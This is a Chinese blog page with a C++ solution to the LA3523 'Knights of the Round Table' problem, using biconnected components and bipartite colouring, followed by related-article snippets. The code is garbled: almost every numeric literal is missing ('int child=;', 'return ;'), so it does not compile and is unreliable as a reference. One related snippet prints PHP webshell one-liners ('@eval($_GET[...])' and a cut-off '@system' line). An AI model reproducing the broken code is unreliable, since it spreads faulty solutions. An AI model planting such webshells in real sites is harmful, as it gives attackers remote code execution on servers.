la3523 白书例题 圆桌骑士 双联通分量+二分图
具体题解看大白书P316
#include <iostream>
#include <algorithm>
#include <vector>
#include <string.h>
#include <stack>
#include <cstdio>
using namespace std;
struct Edge{int u,v;};
const int maxn = +;
int pre[maxn],iscut[maxn],bccno[maxn],dfs_clock,bcc_cnt;
vector<int>G[maxn],bcc[maxn];
stack<Edge>S;
int dfs(int u, int fa){
int lowu=pre[u]=++dfs_clock;
int child=;
for(int i=; i<G[u].size(); i++){
int v=G[u][i];
Edge e = (Edge){u,v};
if(!pre[v]){ // v没有访问过
S.push(e);
child++;
int lowv=dfs(v,u);
lowu = min(lowu,lowv);// 用后代的 low函数更新自己
if(lowv>=pre[u]){
iscut[u]=true;
bcc_cnt++; bcc[bcc_cnt].clear();
for(;;){
Edge x = S.top(); S.pop();
if(bccno[x.u]!=bcc_cnt){
bcc[bcc_cnt].push_back(x.u);
bccno[x.u]=bcc_cnt;
}
if(bccno[x.v]!=bcc_cnt){
bcc[bcc_cnt].push_back(x.v);
bccno[x.v]=bcc_cnt;
}
if(x.u==u&&x.v==v) break;
}
}
}
else if(pre[v]<pre[u]&&v!=fa){
S.push(e);
lowu=min(lowu,pre[v]); // 用反向边更新自己
}
}
if(fa<&&child==) iscut[u]=;
return lowu;
}
void find_bcc(int n){
memset(pre,,sizeof(pre));
memset(iscut,,sizeof(iscut));
memset(bccno,,sizeof(bccno));
dfs_clock=bcc_cnt=;
for(int i= ; i<n ; i++)
if(!pre[i]) dfs(i,-);
}
int odd[maxn],color[maxn];
bool bipartite(int u, int b){
for(int i=; i<G[u].size(); ++i){
int v=G[u][i];
if(bccno[v]!=b) continue;
if(color[u] == color[v]) return false;
if(!color[v]){
color[v]= - color[u];
if(!bipartite(v,b)) return false;
}
}
return true;
}
int A[maxn][maxn];
int main()
{
int kase=, n,m;
while(scanf("%d%d",&n,&m)==&&n){
for(int i=; i<n; i++) G[i].clear();
memset(A,,sizeof(A));
for(int i=; i<m; ++i){
int u,v;
scanf("%d%d",&u,&v);
u--; v--;
A[u][v]=A[v][u]=;
}
for(int u=; u<n; ++u)
for(int v=u+; v<n; ++v)
if(!A[u][v]){
G[u].push_back(v); G[v].push_back(u);
}
find_bcc(n);
memset(odd,,sizeof(odd));
for(int i=; i<=bcc_cnt; ++i){
memset(color,,sizeof(color));
for(int j=; j<bcc[i].size(); ++j)
bccno[bcc[i][j]]=i;
int u = bcc[i][];
color[u]=;
if(!bipartite(u,i))
for(int j=; j<bcc[i].size(); ++j)
odd[bcc[i][j]]=;
}
int ans=n;
for(int i=; i<n; ++i)
if(odd[i]) ans--;
printf("%d\n",ans);
}
return ;
}
la3523 白书例题 圆桌骑士 双联通分量+二分图的更多相关文章
- 训练指南 UVALive - 3523 (双联通分量 + 二分图染色)
layout: post title: 训练指南 UVALive - 3523 (双联通分量 + 二分图染色) author: "luowentaoaa" catalog: tru ...
- Spoj 2878 KNIGHTS - Knights of the Round Table | 双联通分量 二分图判定
题目链接 考虑建立原图的补图,即如果两个骑士不互相憎恨,就在他们之间连一条无向边. 显而易见的是,如果若干个骑士在同一个点数为奇数的环上时,他们就可以在一起开会.换句话说,如果一个骑士被一个奇环包含, ...
- POJ 2942 Knights of the Round Table 补图+tarjan求点双联通分量+二分图染色+debug
题面还好,就不描述了 重点说题解: 由于仇恨关系不好处理,所以可以搞补图存不仇恨关系, 如果一个桌子上面的人能坐到一起,显然他们满足能构成一个环 所以跑点双联通分量 求点双联通分量我用的是向栈中pus ...
- POJ - 2942 Knights of the Round Table (点双联通分量+二分图判定)
题意:有N个人要参加会议,围圈而坐,需要举手表决,所以每次会议都必须是奇数个人参加.有M对人互相讨厌,他们的座位不能相邻.问有多少人任意一场会议都不能出席. 分析:给出的M条关系是讨厌,将每个人视作点 ...
- 大白书中无向图的点双联通分量(BCC)模板的分析与理解
对于一个无向图,如果任意两点至少存在两条点不重复(除起点和终点外无公共点)的路径,则这个图就是点双联通. 这个要求等价于任意两条边都存在于一个简单环(即同一个点不能在圈中出现两次)中,即内部无割点. ...
- poj2942(双联通分量,交叉染色判二分图)
题意:一些骑士,他们有些人之间有矛盾,现在要求选出一些骑士围成一圈,圈要满足如下条件:1.人数大于1.2.总人数为奇数.3.有仇恨的骑士不能挨着坐.问有几个骑士不能和任何人形成任何的圆圈. 思路:首先 ...
- 【POJ 2942】Knights of the Round Table(双联通分量+染色判奇环)
[POJ 2942]Knights of the Round Table(双联通分量+染色判奇环) Time Limit: 7000MS Memory Limit: 65536K Total Su ...
- 【UVA10972】RevolC FaeLoN (求边双联通分量)
题意: 给你一个无向图,要求把所有无向边改成有向边,并且添加最少的有向边,使得新的有向图强联通. 分析: 这题的解法还是很好想的.先用边双联通分量缩点,然后找新图中入度为0和为1的点,入度为0则ans ...
- lightoj 1300 边双联通分量+交叉染色求奇圈
题目链接:http://lightoj.com/volume_showproblem.php?problem=1300 边双连通分量首先dfs找出桥并标记,然后dfs交叉着色找奇圈上的点.这题只要求在 ...
随机推荐
- ch4-持久存储
1.处理数据和打印 man = [] other = [] try: data = open('sketch.txt') for each_line in data: try: (role, line ...
- Oracle 12C卸载图文教程
第一步:找到自己的Oracle安装目录.我的目录是:D:\app\u01\product\12.1.0\dbhome_1\deinstall ,然后点击bat文件.出现如下等待画面. 第二步:耐心 ...
- thinkphp5 Windows下用Composer引入官方GitHub扩展包
很多新手,比如说我,写代码就是在windows下,所以总会遇到很多不方便的地方,比如说GitHub上面的代码更新了,要是你在linux,只要几行命令就可以搞定更新了,在windows下面,你需要用到C ...
- poj_3468 伸展树
题目大意 一个数列,每次操作可以是将某区间数字都加上一个相同的整数,也可以是询问一个区间中所有数字的和.(这里区间指的是数列中连续的若干个数)对每次询问给出结果. 思路 1. 伸展树的一般规律 对于区 ...
- SenchaTouch学习博客
魔狼在世: http://www.cnblogs.com/mlzs/
- PHP一句话木马小总结与SQL语句写一句话木马
一.基础类的一句话--功能仅限于验证漏洞了,实际中太容易被查出出来: <?php @eval($_GET["code"])?> <?php @system($_P ...
- 【Android】Could not find XXX.apk!的解决方法
昨天在Eclipse中导入一个Android工程后点击运行时出现了Could not find XXX.apk!的错误信息,具体错误提示如下: 到网上搜了好多方法,挨个尝试,最后都没解决但是,重启 ...
- angular -- 自定义指令和模板
angular 可以自定义一些指令,来简化我们前端的工作量. 第一种:简单指令示例: <h3>自定义指令</h3> <sheng></sheng> &l ...
- 使用MySQLMTOP监控MySQL性能(一)
一.环境说明 1.服务器角色 服务器角色 172.18.35.29 10.160.22.14 (MySQL Master) 10.160.22.47 (MySQL Slave) 监控点 YES NO ...
- CSU 1808 地铁 (Dijkstra)
Description Bobo 居住在大城市 ICPCCamp. ICPCCamp 有 n 个地铁站,用 1,2,-,n 编号. m 段双向的地铁线路连接 n 个地铁站,其中第 i 段地铁属于 ci ...